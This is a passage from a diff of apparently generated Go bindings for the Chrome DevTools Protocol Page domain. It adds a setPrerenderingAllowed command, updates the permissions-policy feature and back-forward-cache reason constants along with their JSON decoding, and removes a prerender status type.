|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Page#method-setPrerenderingAllowed
|
||||
//
|
||||
// parameters:
|
||||
//
|
||||
// isAllowed
|
||||
func SetPrerenderingAllowed(isAllowed bool) *SetPrerenderingAllowedParams {
|
||||
return &SetPrerenderingAllowedParams{
|
||||
IsAllowed: isAllowed,
|
||||
}
|
||||
}
|
||||
|
||||
// Do executes Page.setPrerenderingAllowed against the provided context.
|
||||
func (p *SetPrerenderingAllowedParams) Do(ctx context.Context) (err error) {
|
||||
return cdp.Execute(ctx, CommandSetPrerenderingAllowed, p, nil)
|
||||
}
|
||||
|
||||
// Command names.
|
||||
const (
|
||||
CommandAddScriptToEvaluateOnNewDocument = "Page.addScriptToEvaluateOnNewDocument"
|
||||
@@ -1716,4 +1763,5 @@ const (
|
||||
CommandGenerateTestReport = "Page.generateTestReport"
|
||||
CommandWaitForDebugger = "Page.waitForDebugger"
|
||||
CommandSetInterceptFileChooserDialog = "Page.setInterceptFileChooserDialog"
|
||||
CommandSetPrerenderingAllowed = "Page.setPrerenderingAllowed"
|
||||
)
|
||||
+108
-359
@@ -36,84 +36,85 @@ func (t PermissionsPolicyFeature) String() string {
|
||||
|
||||
// PermissionsPolicyFeature values.
|
||||
const (
|
||||
PermissionsPolicyFeatureAccelerometer PermissionsPolicyFeature = "accelerometer"
|
||||
PermissionsPolicyFeatureAmbientLightSensor PermissionsPolicyFeature = "ambient-light-sensor"
|
||||
PermissionsPolicyFeatureAttributionReporting PermissionsPolicyFeature = "attribution-reporting"
|
||||
PermissionsPolicyFeatureAutoplay PermissionsPolicyFeature = "autoplay"
|
||||
PermissionsPolicyFeatureBluetooth PermissionsPolicyFeature = "bluetooth"
|
||||
PermissionsPolicyFeatureBrowsingTopics PermissionsPolicyFeature = "browsing-topics"
|
||||
PermissionsPolicyFeatureCamera PermissionsPolicyFeature = "camera"
|
||||
PermissionsPolicyFeatureChDpr PermissionsPolicyFeature = "ch-dpr"
|
||||
PermissionsPolicyFeatureChDeviceMemory PermissionsPolicyFeature = "ch-device-memory"
|
||||
PermissionsPolicyFeatureChDownlink PermissionsPolicyFeature = "ch-downlink"
|
||||
PermissionsPolicyFeatureChEct PermissionsPolicyFeature = "ch-ect"
|
||||
PermissionsPolicyFeatureChPrefersColorScheme PermissionsPolicyFeature = "ch-prefers-color-scheme"
|
||||
PermissionsPolicyFeatureChPrefersReducedMotion PermissionsPolicyFeature = "ch-prefers-reduced-motion"
|
||||
PermissionsPolicyFeatureChRtt PermissionsPolicyFeature = "ch-rtt"
|
||||
PermissionsPolicyFeatureChSaveData PermissionsPolicyFeature = "ch-save-data"
|
||||
PermissionsPolicyFeatureChUa PermissionsPolicyFeature = "ch-ua"
|
||||
PermissionsPolicyFeatureChUaArch PermissionsPolicyFeature = "ch-ua-arch"
|
||||
PermissionsPolicyFeatureChUaBitness PermissionsPolicyFeature = "ch-ua-bitness"
|
||||
PermissionsPolicyFeatureChUaPlatform PermissionsPolicyFeature = "ch-ua-platform"
|
||||
PermissionsPolicyFeatureChUaModel PermissionsPolicyFeature = "ch-ua-model"
|
||||
PermissionsPolicyFeatureChUaMobile PermissionsPolicyFeature = "ch-ua-mobile"
|
||||
PermissionsPolicyFeatureChUaFull PermissionsPolicyFeature = "ch-ua-full"
|
||||
PermissionsPolicyFeatureChUaFullVersion PermissionsPolicyFeature = "ch-ua-full-version"
|
||||
PermissionsPolicyFeatureChUaFullVersionList PermissionsPolicyFeature = "ch-ua-full-version-list"
|
||||
PermissionsPolicyFeatureChUaPlatformVersion PermissionsPolicyFeature = "ch-ua-platform-version"
|
||||
PermissionsPolicyFeatureChUaReduced PermissionsPolicyFeature = "ch-ua-reduced"
|
||||
PermissionsPolicyFeatureChUaWow64 PermissionsPolicyFeature = "ch-ua-wow64"
|
||||
PermissionsPolicyFeatureChViewportHeight PermissionsPolicyFeature = "ch-viewport-height"
|
||||
PermissionsPolicyFeatureChViewportWidth PermissionsPolicyFeature = "ch-viewport-width"
|
||||
PermissionsPolicyFeatureChWidth PermissionsPolicyFeature = "ch-width"
|
||||
PermissionsPolicyFeatureClipboardRead PermissionsPolicyFeature = "clipboard-read"
|
||||
PermissionsPolicyFeatureClipboardWrite PermissionsPolicyFeature = "clipboard-write"
|
||||
PermissionsPolicyFeatureComputePressure PermissionsPolicyFeature = "compute-pressure"
|
||||
PermissionsPolicyFeatureCrossOriginIsolated PermissionsPolicyFeature = "cross-origin-isolated"
|
||||
PermissionsPolicyFeatureDirectSockets PermissionsPolicyFeature = "direct-sockets"
|
||||
PermissionsPolicyFeatureDisplayCapture PermissionsPolicyFeature = "display-capture"
|
||||
PermissionsPolicyFeatureDocumentDomain PermissionsPolicyFeature = "document-domain"
|
||||
PermissionsPolicyFeatureEncryptedMedia PermissionsPolicyFeature = "encrypted-media"
|
||||
PermissionsPolicyFeatureExecutionWhileOutOfViewport PermissionsPolicyFeature = "execution-while-out-of-viewport"
|
||||
PermissionsPolicyFeatureExecutionWhileNotRendered PermissionsPolicyFeature = "execution-while-not-rendered"
|
||||
PermissionsPolicyFeatureFocusWithoutUserActivation PermissionsPolicyFeature = "focus-without-user-activation"
|
||||
PermissionsPolicyFeatureFullscreen PermissionsPolicyFeature = "fullscreen"
|
||||
PermissionsPolicyFeatureFrobulate PermissionsPolicyFeature = "frobulate"
|
||||
PermissionsPolicyFeatureGamepad PermissionsPolicyFeature = "gamepad"
|
||||
PermissionsPolicyFeatureGeolocation PermissionsPolicyFeature = "geolocation"
|
||||
PermissionsPolicyFeatureGyroscope PermissionsPolicyFeature = "gyroscope"
|
||||
PermissionsPolicyFeatureHid PermissionsPolicyFeature = "hid"
|
||||
PermissionsPolicyFeatureIdentityCredentialsGet PermissionsPolicyFeature = "identity-credentials-get"
|
||||
PermissionsPolicyFeatureIdleDetection PermissionsPolicyFeature = "idle-detection"
|
||||
PermissionsPolicyFeatureInterestCohort PermissionsPolicyFeature = "interest-cohort"
|
||||
PermissionsPolicyFeatureJoinAdInterestGroup PermissionsPolicyFeature = "join-ad-interest-group"
|
||||
PermissionsPolicyFeatureKeyboardMap PermissionsPolicyFeature = "keyboard-map"
|
||||
PermissionsPolicyFeatureLocalFonts PermissionsPolicyFeature = "local-fonts"
|
||||
PermissionsPolicyFeatureMagnetometer PermissionsPolicyFeature = "magnetometer"
|
||||
PermissionsPolicyFeatureMicrophone PermissionsPolicyFeature = "microphone"
|
||||
PermissionsPolicyFeatureMidi PermissionsPolicyFeature = "midi"
|
||||
PermissionsPolicyFeatureOtpCredentials PermissionsPolicyFeature = "otp-credentials"
|
||||
PermissionsPolicyFeaturePayment PermissionsPolicyFeature = "payment"
|
||||
PermissionsPolicyFeaturePictureInPicture PermissionsPolicyFeature = "picture-in-picture"
|
||||
PermissionsPolicyFeaturePrivateAggregation PermissionsPolicyFeature = "private-aggregation"
|
||||
PermissionsPolicyFeaturePublickeyCredentialsGet PermissionsPolicyFeature = "publickey-credentials-get"
|
||||
PermissionsPolicyFeatureRunAdAuction PermissionsPolicyFeature = "run-ad-auction"
|
||||
PermissionsPolicyFeatureScreenWakeLock PermissionsPolicyFeature = "screen-wake-lock"
|
||||
PermissionsPolicyFeatureSerial PermissionsPolicyFeature = "serial"
|
||||
PermissionsPolicyFeatureSharedAutofill PermissionsPolicyFeature = "shared-autofill"
|
||||
PermissionsPolicyFeatureSharedStorage PermissionsPolicyFeature = "shared-storage"
|
||||
PermissionsPolicyFeatureSharedStorageSelectURL PermissionsPolicyFeature = "shared-storage-select-url"
|
||||
PermissionsPolicyFeatureSmartCard PermissionsPolicyFeature = "smart-card"
|
||||
PermissionsPolicyFeatureStorageAccess PermissionsPolicyFeature = "storage-access"
|
||||
PermissionsPolicyFeatureSyncXhr PermissionsPolicyFeature = "sync-xhr"
|
||||
PermissionsPolicyFeatureTrustTokenRedemption PermissionsPolicyFeature = "trust-token-redemption"
|
||||
PermissionsPolicyFeatureUnload PermissionsPolicyFeature = "unload"
|
||||
PermissionsPolicyFeatureUsb PermissionsPolicyFeature = "usb"
|
||||
PermissionsPolicyFeatureVerticalScroll PermissionsPolicyFeature = "vertical-scroll"
|
||||
PermissionsPolicyFeatureWebShare PermissionsPolicyFeature = "web-share"
|
||||
PermissionsPolicyFeatureWindowManagement PermissionsPolicyFeature = "window-management"
|
||||
PermissionsPolicyFeatureWindowPlacement PermissionsPolicyFeature = "window-placement"
|
||||
PermissionsPolicyFeatureXrSpatialTracking PermissionsPolicyFeature = "xr-spatial-tracking"
|
||||
PermissionsPolicyFeatureAccelerometer PermissionsPolicyFeature = "accelerometer"
|
||||
PermissionsPolicyFeatureAmbientLightSensor PermissionsPolicyFeature = "ambient-light-sensor"
|
||||
PermissionsPolicyFeatureAttributionReporting PermissionsPolicyFeature = "attribution-reporting"
|
||||
PermissionsPolicyFeatureAutoplay PermissionsPolicyFeature = "autoplay"
|
||||
PermissionsPolicyFeatureBluetooth PermissionsPolicyFeature = "bluetooth"
|
||||
PermissionsPolicyFeatureBrowsingTopics PermissionsPolicyFeature = "browsing-topics"
|
||||
PermissionsPolicyFeatureCamera PermissionsPolicyFeature = "camera"
|
||||
PermissionsPolicyFeatureChDpr PermissionsPolicyFeature = "ch-dpr"
|
||||
PermissionsPolicyFeatureChDeviceMemory PermissionsPolicyFeature = "ch-device-memory"
|
||||
PermissionsPolicyFeatureChDownlink PermissionsPolicyFeature = "ch-downlink"
|
||||
PermissionsPolicyFeatureChEct PermissionsPolicyFeature = "ch-ect"
|
||||
PermissionsPolicyFeatureChPrefersColorScheme PermissionsPolicyFeature = "ch-prefers-color-scheme"
|
||||
PermissionsPolicyFeatureChPrefersReducedMotion PermissionsPolicyFeature = "ch-prefers-reduced-motion"
|
||||
PermissionsPolicyFeatureChPrefersReducedTransparency PermissionsPolicyFeature = "ch-prefers-reduced-transparency"
|
||||
PermissionsPolicyFeatureChRtt PermissionsPolicyFeature = "ch-rtt"
|
||||
PermissionsPolicyFeatureChSaveData PermissionsPolicyFeature = "ch-save-data"
|
||||
PermissionsPolicyFeatureChUa PermissionsPolicyFeature = "ch-ua"
|
||||
PermissionsPolicyFeatureChUaArch PermissionsPolicyFeature = "ch-ua-arch"
|
||||
PermissionsPolicyFeatureChUaBitness PermissionsPolicyFeature = "ch-ua-bitness"
|
||||
PermissionsPolicyFeatureChUaPlatform PermissionsPolicyFeature = "ch-ua-platform"
|
||||
PermissionsPolicyFeatureChUaModel PermissionsPolicyFeature = "ch-ua-model"
|
||||
PermissionsPolicyFeatureChUaMobile PermissionsPolicyFeature = "ch-ua-mobile"
|
||||
PermissionsPolicyFeatureChUaFormFactor PermissionsPolicyFeature = "ch-ua-form-factor"
|
||||
PermissionsPolicyFeatureChUaFullVersion PermissionsPolicyFeature = "ch-ua-full-version"
|
||||
PermissionsPolicyFeatureChUaFullVersionList PermissionsPolicyFeature = "ch-ua-full-version-list"
|
||||
PermissionsPolicyFeatureChUaPlatformVersion PermissionsPolicyFeature = "ch-ua-platform-version"
|
||||
PermissionsPolicyFeatureChUaWow64 PermissionsPolicyFeature = "ch-ua-wow64"
|
||||
PermissionsPolicyFeatureChViewportHeight PermissionsPolicyFeature = "ch-viewport-height"
|
||||
PermissionsPolicyFeatureChViewportWidth PermissionsPolicyFeature = "ch-viewport-width"
|
||||
PermissionsPolicyFeatureChWidth PermissionsPolicyFeature = "ch-width"
|
||||
PermissionsPolicyFeatureClipboardRead PermissionsPolicyFeature = "clipboard-read"
|
||||
PermissionsPolicyFeatureClipboardWrite PermissionsPolicyFeature = "clipboard-write"
|
||||
PermissionsPolicyFeatureComputePressure PermissionsPolicyFeature = "compute-pressure"
|
||||
PermissionsPolicyFeatureCrossOriginIsolated PermissionsPolicyFeature = "cross-origin-isolated"
|
||||
PermissionsPolicyFeatureDirectSockets PermissionsPolicyFeature = "direct-sockets"
|
||||
PermissionsPolicyFeatureDisplayCapture PermissionsPolicyFeature = "display-capture"
|
||||
PermissionsPolicyFeatureDocumentDomain PermissionsPolicyFeature = "document-domain"
|
||||
PermissionsPolicyFeatureEncryptedMedia PermissionsPolicyFeature = "encrypted-media"
|
||||
PermissionsPolicyFeatureExecutionWhileOutOfViewport PermissionsPolicyFeature = "execution-while-out-of-viewport"
|
||||
PermissionsPolicyFeatureExecutionWhileNotRendered PermissionsPolicyFeature = "execution-while-not-rendered"
|
||||
PermissionsPolicyFeatureFocusWithoutUserActivation PermissionsPolicyFeature = "focus-without-user-activation"
|
||||
PermissionsPolicyFeatureFullscreen PermissionsPolicyFeature = "fullscreen"
|
||||
PermissionsPolicyFeatureFrobulate PermissionsPolicyFeature = "frobulate"
|
||||
PermissionsPolicyFeatureGamepad PermissionsPolicyFeature = "gamepad"
|
||||
PermissionsPolicyFeatureGeolocation PermissionsPolicyFeature = "geolocation"
|
||||
PermissionsPolicyFeatureGyroscope PermissionsPolicyFeature = "gyroscope"
|
||||
PermissionsPolicyFeatureHid PermissionsPolicyFeature = "hid"
|
||||
PermissionsPolicyFeatureIdentityCredentialsGet PermissionsPolicyFeature = "identity-credentials-get"
|
||||
PermissionsPolicyFeatureIdleDetection PermissionsPolicyFeature = "idle-detection"
|
||||
PermissionsPolicyFeatureInterestCohort PermissionsPolicyFeature = "interest-cohort"
|
||||
PermissionsPolicyFeatureJoinAdInterestGroup PermissionsPolicyFeature = "join-ad-interest-group"
|
||||
PermissionsPolicyFeatureKeyboardMap PermissionsPolicyFeature = "keyboard-map"
|
||||
PermissionsPolicyFeatureLocalFonts PermissionsPolicyFeature = "local-fonts"
|
||||
PermissionsPolicyFeatureMagnetometer PermissionsPolicyFeature = "magnetometer"
|
||||
PermissionsPolicyFeatureMicrophone PermissionsPolicyFeature = "microphone"
|
||||
PermissionsPolicyFeatureMidi PermissionsPolicyFeature = "midi"
|
||||
PermissionsPolicyFeatureOtpCredentials PermissionsPolicyFeature = "otp-credentials"
|
||||
PermissionsPolicyFeaturePayment PermissionsPolicyFeature = "payment"
|
||||
PermissionsPolicyFeaturePictureInPicture PermissionsPolicyFeature = "picture-in-picture"
|
||||
PermissionsPolicyFeaturePrivateAggregation PermissionsPolicyFeature = "private-aggregation"
|
||||
PermissionsPolicyFeaturePrivateStateTokenIssuance PermissionsPolicyFeature = "private-state-token-issuance"
|
||||
PermissionsPolicyFeaturePrivateStateTokenRedemption PermissionsPolicyFeature = "private-state-token-redemption"
|
||||
PermissionsPolicyFeaturePublickeyCredentialsGet PermissionsPolicyFeature = "publickey-credentials-get"
|
||||
PermissionsPolicyFeatureRunAdAuction PermissionsPolicyFeature = "run-ad-auction"
|
||||
PermissionsPolicyFeatureScreenWakeLock PermissionsPolicyFeature = "screen-wake-lock"
|
||||
PermissionsPolicyFeatureSerial PermissionsPolicyFeature = "serial"
|
||||
PermissionsPolicyFeatureSharedAutofill PermissionsPolicyFeature = "shared-autofill"
|
||||
PermissionsPolicyFeatureSharedStorage PermissionsPolicyFeature = "shared-storage"
|
||||
PermissionsPolicyFeatureSharedStorageSelectURL PermissionsPolicyFeature = "shared-storage-select-url"
|
||||
PermissionsPolicyFeatureSmartCard PermissionsPolicyFeature = "smart-card"
|
||||
PermissionsPolicyFeatureStorageAccess PermissionsPolicyFeature = "storage-access"
|
||||
PermissionsPolicyFeatureSyncXhr PermissionsPolicyFeature = "sync-xhr"
|
||||
PermissionsPolicyFeatureUnload PermissionsPolicyFeature = "unload"
|
||||
PermissionsPolicyFeatureUsb PermissionsPolicyFeature = "usb"
|
||||
PermissionsPolicyFeatureVerticalScroll PermissionsPolicyFeature = "vertical-scroll"
|
||||
PermissionsPolicyFeatureWebShare PermissionsPolicyFeature = "web-share"
|
||||
PermissionsPolicyFeatureWindowManagement PermissionsPolicyFeature = "window-management"
|
||||
PermissionsPolicyFeatureWindowPlacement PermissionsPolicyFeature = "window-placement"
|
||||
PermissionsPolicyFeatureXrSpatialTracking PermissionsPolicyFeature = "xr-spatial-tracking"
|
||||
)
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
@@ -156,6 +157,8 @@ func (t *PermissionsPolicyFeature) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = PermissionsPolicyFeatureChPrefersColorScheme
|
||||
case PermissionsPolicyFeatureChPrefersReducedMotion:
|
||||
*t = PermissionsPolicyFeatureChPrefersReducedMotion
|
||||
case PermissionsPolicyFeatureChPrefersReducedTransparency:
|
||||
*t = PermissionsPolicyFeatureChPrefersReducedTransparency
|
||||
case PermissionsPolicyFeatureChRtt:
|
||||
*t = PermissionsPolicyFeatureChRtt
|
||||
case PermissionsPolicyFeatureChSaveData:
|
||||
@@ -172,16 +175,14 @@ func (t *PermissionsPolicyFeature) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = PermissionsPolicyFeatureChUaModel
|
||||
case PermissionsPolicyFeatureChUaMobile:
|
||||
*t = PermissionsPolicyFeatureChUaMobile
|
||||
case PermissionsPolicyFeatureChUaFull:
|
||||
*t = PermissionsPolicyFeatureChUaFull
|
||||
case PermissionsPolicyFeatureChUaFormFactor:
|
||||
*t = PermissionsPolicyFeatureChUaFormFactor
|
||||
case PermissionsPolicyFeatureChUaFullVersion:
|
||||
*t = PermissionsPolicyFeatureChUaFullVersion
|
||||
case PermissionsPolicyFeatureChUaFullVersionList:
|
||||
*t = PermissionsPolicyFeatureChUaFullVersionList
|
||||
case PermissionsPolicyFeatureChUaPlatformVersion:
|
||||
*t = PermissionsPolicyFeatureChUaPlatformVersion
|
||||
case PermissionsPolicyFeatureChUaReduced:
|
||||
*t = PermissionsPolicyFeatureChUaReduced
|
||||
case PermissionsPolicyFeatureChUaWow64:
|
||||
*t = PermissionsPolicyFeatureChUaWow64
|
||||
case PermissionsPolicyFeatureChViewportHeight:
|
||||
@@ -250,6 +251,10 @@ func (t *PermissionsPolicyFeature) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = PermissionsPolicyFeaturePictureInPicture
|
||||
case PermissionsPolicyFeaturePrivateAggregation:
|
||||
*t = PermissionsPolicyFeaturePrivateAggregation
|
||||
case PermissionsPolicyFeaturePrivateStateTokenIssuance:
|
||||
*t = PermissionsPolicyFeaturePrivateStateTokenIssuance
|
||||
case PermissionsPolicyFeaturePrivateStateTokenRedemption:
|
||||
*t = PermissionsPolicyFeaturePrivateStateTokenRedemption
|
||||
case PermissionsPolicyFeaturePublickeyCredentialsGet:
|
||||
*t = PermissionsPolicyFeaturePublickeyCredentialsGet
|
||||
case PermissionsPolicyFeatureRunAdAuction:
|
||||
@@ -270,8 +275,6 @@ func (t *PermissionsPolicyFeature) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = PermissionsPolicyFeatureStorageAccess
|
||||
case PermissionsPolicyFeatureSyncXhr:
|
||||
*t = PermissionsPolicyFeatureSyncXhr
|
||||
case PermissionsPolicyFeatureTrustTokenRedemption:
|
||||
*t = PermissionsPolicyFeatureTrustTokenRedemption
|
||||
case PermissionsPolicyFeatureUnload:
|
||||
*t = PermissionsPolicyFeatureUnload
|
||||
case PermissionsPolicyFeatureUsb:
|
||||
@@ -1006,6 +1009,9 @@ const (
|
||||
BackForwardCacheNotRestoredReasonActivationNavigationsDisallowedForBug1234857 BackForwardCacheNotRestoredReason = "ActivationNavigationsDisallowedForBug1234857"
|
||||
BackForwardCacheNotRestoredReasonErrorDocument BackForwardCacheNotRestoredReason = "ErrorDocument"
|
||||
BackForwardCacheNotRestoredReasonFencedFramesEmbedder BackForwardCacheNotRestoredReason = "FencedFramesEmbedder"
|
||||
BackForwardCacheNotRestoredReasonCookieDisabled BackForwardCacheNotRestoredReason = "CookieDisabled"
|
||||
BackForwardCacheNotRestoredReasonHTTPAuthRequired BackForwardCacheNotRestoredReason = "HTTPAuthRequired"
|
||||
BackForwardCacheNotRestoredReasonCookieFlushed BackForwardCacheNotRestoredReason = "CookieFlushed"
|
||||
BackForwardCacheNotRestoredReasonWebSocket BackForwardCacheNotRestoredReason = "WebSocket"
|
||||
BackForwardCacheNotRestoredReasonWebTransport BackForwardCacheNotRestoredReason = "WebTransport"
|
||||
BackForwardCacheNotRestoredReasonWebRTC BackForwardCacheNotRestoredReason = "WebRTC"
|
||||
@@ -1017,14 +1023,12 @@ const (
|
||||
BackForwardCacheNotRestoredReasonDocumentLoaded BackForwardCacheNotRestoredReason = "DocumentLoaded"
|
||||
BackForwardCacheNotRestoredReasonDedicatedWorkerOrWorklet BackForwardCacheNotRestoredReason = "DedicatedWorkerOrWorklet"
|
||||
BackForwardCacheNotRestoredReasonOutstandingNetworkRequestOthers BackForwardCacheNotRestoredReason = "OutstandingNetworkRequestOthers"
|
||||
BackForwardCacheNotRestoredReasonOutstandingIndexedDBTransaction BackForwardCacheNotRestoredReason = "OutstandingIndexedDBTransaction"
|
||||
BackForwardCacheNotRestoredReasonRequestedMIDIPermission BackForwardCacheNotRestoredReason = "RequestedMIDIPermission"
|
||||
BackForwardCacheNotRestoredReasonRequestedAudioCapturePermission BackForwardCacheNotRestoredReason = "RequestedAudioCapturePermission"
|
||||
BackForwardCacheNotRestoredReasonRequestedVideoCapturePermission BackForwardCacheNotRestoredReason = "RequestedVideoCapturePermission"
|
||||
BackForwardCacheNotRestoredReasonRequestedBackForwardCacheBlockedSensors BackForwardCacheNotRestoredReason = "RequestedBackForwardCacheBlockedSensors"
|
||||
BackForwardCacheNotRestoredReasonRequestedBackgroundWorkPermission BackForwardCacheNotRestoredReason = "RequestedBackgroundWorkPermission"
|
||||
BackForwardCacheNotRestoredReasonBroadcastChannel BackForwardCacheNotRestoredReason = "BroadcastChannel"
|
||||
BackForwardCacheNotRestoredReasonIndexedDBConnection BackForwardCacheNotRestoredReason = "IndexedDBConnection"
|
||||
BackForwardCacheNotRestoredReasonWebXR BackForwardCacheNotRestoredReason = "WebXR"
|
||||
BackForwardCacheNotRestoredReasonSharedWorker BackForwardCacheNotRestoredReason = "SharedWorker"
|
||||
BackForwardCacheNotRestoredReasonWebLocks BackForwardCacheNotRestoredReason = "WebLocks"
|
||||
@@ -1051,7 +1055,10 @@ const (
|
||||
BackForwardCacheNotRestoredReasonKeepaliveRequest BackForwardCacheNotRestoredReason = "KeepaliveRequest"
|
||||
BackForwardCacheNotRestoredReasonIndexedDBEvent BackForwardCacheNotRestoredReason = "IndexedDBEvent"
|
||||
BackForwardCacheNotRestoredReasonDummy BackForwardCacheNotRestoredReason = "Dummy"
|
||||
BackForwardCacheNotRestoredReasonAuthorizationHeader BackForwardCacheNotRestoredReason = "AuthorizationHeader"
|
||||
BackForwardCacheNotRestoredReasonJsNetworkRequestReceivedCacheControlNoStoreResource BackForwardCacheNotRestoredReason = "JsNetworkRequestReceivedCacheControlNoStoreResource"
|
||||
BackForwardCacheNotRestoredReasonWebRTCSticky BackForwardCacheNotRestoredReason = "WebRTCSticky"
|
||||
BackForwardCacheNotRestoredReasonWebTransportSticky BackForwardCacheNotRestoredReason = "WebTransportSticky"
|
||||
BackForwardCacheNotRestoredReasonWebSocketSticky BackForwardCacheNotRestoredReason = "WebSocketSticky"
|
||||
BackForwardCacheNotRestoredReasonContentSecurityHandler BackForwardCacheNotRestoredReason = "ContentSecurityHandler"
|
||||
BackForwardCacheNotRestoredReasonContentWebAuthenticationAPI BackForwardCacheNotRestoredReason = "ContentWebAuthenticationAPI"
|
||||
BackForwardCacheNotRestoredReasonContentFileChooser BackForwardCacheNotRestoredReason = "ContentFileChooser"
|
||||
@@ -1199,6 +1206,12 @@ func (t *BackForwardCacheNotRestoredReason) UnmarshalEasyJSON(in *jlexer.Lexer)
|
||||
*t = BackForwardCacheNotRestoredReasonErrorDocument
|
||||
case BackForwardCacheNotRestoredReasonFencedFramesEmbedder:
|
||||
*t = BackForwardCacheNotRestoredReasonFencedFramesEmbedder
|
||||
case BackForwardCacheNotRestoredReasonCookieDisabled:
|
||||
*t = BackForwardCacheNotRestoredReasonCookieDisabled
|
||||
case BackForwardCacheNotRestoredReasonHTTPAuthRequired:
|
||||
*t = BackForwardCacheNotRestoredReasonHTTPAuthRequired
|
||||
case BackForwardCacheNotRestoredReasonCookieFlushed:
|
||||
*t = BackForwardCacheNotRestoredReasonCookieFlushed
|
||||
case BackForwardCacheNotRestoredReasonWebSocket:
|
||||
*t = BackForwardCacheNotRestoredReasonWebSocket
|
||||
case BackForwardCacheNotRestoredReasonWebTransport:
|
||||
@@ -1221,8 +1234,6 @@ func (t *BackForwardCacheNotRestoredReason) UnmarshalEasyJSON(in *jlexer.Lexer)
|
||||
*t = BackForwardCacheNotRestoredReasonDedicatedWorkerOrWorklet
|
||||
case BackForwardCacheNotRestoredReasonOutstandingNetworkRequestOthers:
|
||||
*t = BackForwardCacheNotRestoredReasonOutstandingNetworkRequestOthers
|
||||
case BackForwardCacheNotRestoredReasonOutstandingIndexedDBTransaction:
|
||||
*t = BackForwardCacheNotRestoredReasonOutstandingIndexedDBTransaction
|
||||
case BackForwardCacheNotRestoredReasonRequestedMIDIPermission:
|
||||
*t = BackForwardCacheNotRestoredReasonRequestedMIDIPermission
|
||||
case BackForwardCacheNotRestoredReasonRequestedAudioCapturePermission:
|
||||
@@ -1235,8 +1246,6 @@ func (t *BackForwardCacheNotRestoredReason) UnmarshalEasyJSON(in *jlexer.Lexer)
|
||||
*t = BackForwardCacheNotRestoredReasonRequestedBackgroundWorkPermission
|
||||
case BackForwardCacheNotRestoredReasonBroadcastChannel:
|
||||
*t = BackForwardCacheNotRestoredReasonBroadcastChannel
|
||||
case BackForwardCacheNotRestoredReasonIndexedDBConnection:
|
||||
*t = BackForwardCacheNotRestoredReasonIndexedDBConnection
|
||||
case BackForwardCacheNotRestoredReasonWebXR:
|
||||
*t = BackForwardCacheNotRestoredReasonWebXR
|
||||
case BackForwardCacheNotRestoredReasonSharedWorker:
|
||||
@@ -1289,8 +1298,14 @@ func (t *BackForwardCacheNotRestoredReason) UnmarshalEasyJSON(in *jlexer.Lexer)
|
||||
*t = BackForwardCacheNotRestoredReasonIndexedDBEvent
|
||||
case BackForwardCacheNotRestoredReasonDummy:
|
||||
*t = BackForwardCacheNotRestoredReasonDummy
|
||||
case BackForwardCacheNotRestoredReasonAuthorizationHeader:
|
||||
*t = BackForwardCacheNotRestoredReasonAuthorizationHeader
|
||||
case BackForwardCacheNotRestoredReasonJsNetworkRequestReceivedCacheControlNoStoreResource:
|
||||
*t = BackForwardCacheNotRestoredReasonJsNetworkRequestReceivedCacheControlNoStoreResource
|
||||
case BackForwardCacheNotRestoredReasonWebRTCSticky:
|
||||
*t = BackForwardCacheNotRestoredReasonWebRTCSticky
|
||||
case BackForwardCacheNotRestoredReasonWebTransportSticky:
|
||||
*t = BackForwardCacheNotRestoredReasonWebTransportSticky
|
||||
case BackForwardCacheNotRestoredReasonWebSocketSticky:
|
||||
*t = BackForwardCacheNotRestoredReasonWebSocketSticky
|
||||
case BackForwardCacheNotRestoredReasonContentSecurityHandler:
|
||||
*t = BackForwardCacheNotRestoredReasonContentSecurityHandler
|
||||
case BackForwardCacheNotRestoredReasonContentWebAuthenticationAPI:
|
||||
@@ -1419,272 +1434,6 @@ type BackForwardCacheNotRestoredExplanationTree struct {
|
||||
Children []*BackForwardCacheNotRestoredExplanationTree `json:"children"` // Array of children frame
|
||||
}
|
||||
|
||||
// PrerenderFinalStatus list of FinalStatus reasons for Prerender2.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Page#type-PrerenderFinalStatus
|
||||
type PrerenderFinalStatus string
|
||||
|
||||
// String returns the PrerenderFinalStatus as string value.
|
||||
func (t PrerenderFinalStatus) String() string {
|
||||
return string(t)
|
||||
}
|
||||
|
||||
// PrerenderFinalStatus values.
|
||||
const (
|
||||
PrerenderFinalStatusActivated PrerenderFinalStatus = "Activated"
|
||||
PrerenderFinalStatusDestroyed PrerenderFinalStatus = "Destroyed"
|
||||
PrerenderFinalStatusLowEndDevice PrerenderFinalStatus = "LowEndDevice"
|
||||
PrerenderFinalStatusInvalidSchemeRedirect PrerenderFinalStatus = "InvalidSchemeRedirect"
|
||||
PrerenderFinalStatusInvalidSchemeNavigation PrerenderFinalStatus = "InvalidSchemeNavigation"
|
||||
PrerenderFinalStatusInProgressNavigation PrerenderFinalStatus = "InProgressNavigation"
|
||||
PrerenderFinalStatusNavigationRequestBlockedByCsp PrerenderFinalStatus = "NavigationRequestBlockedByCsp"
|
||||
PrerenderFinalStatusMainFrameNavigation PrerenderFinalStatus = "MainFrameNavigation"
|
||||
PrerenderFinalStatusMojoBinderPolicy PrerenderFinalStatus = "MojoBinderPolicy"
|
||||
PrerenderFinalStatusRendererProcessCrashed PrerenderFinalStatus = "RendererProcessCrashed"
|
||||
PrerenderFinalStatusRendererProcessKilled PrerenderFinalStatus = "RendererProcessKilled"
|
||||
PrerenderFinalStatusDownload PrerenderFinalStatus = "Download"
|
||||
PrerenderFinalStatusTriggerDestroyed PrerenderFinalStatus = "TriggerDestroyed"
|
||||
PrerenderFinalStatusNavigationNotCommitted PrerenderFinalStatus = "NavigationNotCommitted"
|
||||
PrerenderFinalStatusNavigationBadHTTPStatus PrerenderFinalStatus = "NavigationBadHttpStatus"
|
||||
PrerenderFinalStatusClientCertRequested PrerenderFinalStatus = "ClientCertRequested"
|
||||
PrerenderFinalStatusNavigationRequestNetworkError PrerenderFinalStatus = "NavigationRequestNetworkError"
|
||||
PrerenderFinalStatusMaxNumOfRunningPrerendersExceeded PrerenderFinalStatus = "MaxNumOfRunningPrerendersExceeded"
|
||||
PrerenderFinalStatusCancelAllHostsForTesting PrerenderFinalStatus = "CancelAllHostsForTesting"
|
||||
PrerenderFinalStatusDidFailLoad PrerenderFinalStatus = "DidFailLoad"
|
||||
